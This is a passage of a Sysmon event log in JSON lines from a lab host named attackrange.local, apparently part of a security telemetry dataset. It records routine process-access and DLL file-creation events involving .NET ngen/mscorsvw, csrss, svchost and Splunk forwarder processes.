12:04:40.401","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4358-5F2D-0000-001017951100}","TargetProcessId":"4176","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8454,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:40.416\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4358-5F2D-0000-001017951100}\r\nTargetProcessId: 4176\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:40.416","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4358-5F2D-0000-001017951100}","TargetProcessId":"4176","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8455,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:40.479\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4524\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-433A-5F2D-0000-00107AFD1000}\r\nTargetProcessId: 4492\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:40.479","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4524","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-433A-5F2D-0000-00107AFD1000}","TargetProcessId":"4492","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","EventReceivedTime":"2020-08-07 12:04:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8456,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:40.479\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-433A-5F2D-0000-00107AFD1000}\r\nTargetProcessId: 4492\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:40.479","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-433A-5F2D-0000-00107AFD1000}","TargetProcessId":"4492","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8457,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:40.494\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4358-5F2D-0000-0010D0981100}\r\nTargetProcessId: 4492\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:40.494","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4358-5F2D-0000-0010D0981100}","TargetProcessId":"4492","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8458,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:40.572\r\nSourceProcessGUID: {90617006-4358-5F2D-0000-00107A931100}\r\nSourceProcessId: 3204\r\nSourceThreadId: 3360\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+5691a5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+568cd6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56657|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56ca7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+8f3800|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:40.572","SourceProcessGUID":"{90617006-4358-5F2D-0000-00107A931100}","SourceProcessId":"3204","SourceThreadId":"3360","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+5691a5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+568cd6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56657|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56ca7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+8f3800|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":8459,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:04:40.776\r\nProcessGuid: {90617006-4358-5F2D-0000-0010D0981100}\r\nProcessId: 4492\r\nImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\118c-0\\System.Net.Http.dll\r\nCreationUtcTime: 2020-08-07 12:04:40.776","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:04:40.776","ProcessGuid":"{90617006-4358-5F2D-0000-0010D0981100}","Image":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\118c-0\\System.Net.Http.dll","CreationUtcTime":"2020-08-07 12:04:40.776","EventReceivedTime":"2020-08-07 12:04:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8460,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:40.823\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4820\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4358-5F2D-0000-00106A9D1100}\r\nTargetProcessId: 1696\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:40.823","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4820","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4358-5F2D-0000-00106A9D1100}","TargetProcessId":"1696","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","EventReceivedTime":"2020-08-07 12:04:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8461,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:40.823\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4358-5F2D-0000-00106A9D1100}\r\nTargetProcessId: 1696\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:40.823","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4358-5F2D-0000-00106A9D1100}","TargetProcessId":"1696","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8462,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:40.838\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4358-5F2D-0000-00106A9D1100}\r\nTargetProcessId: 1696\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: 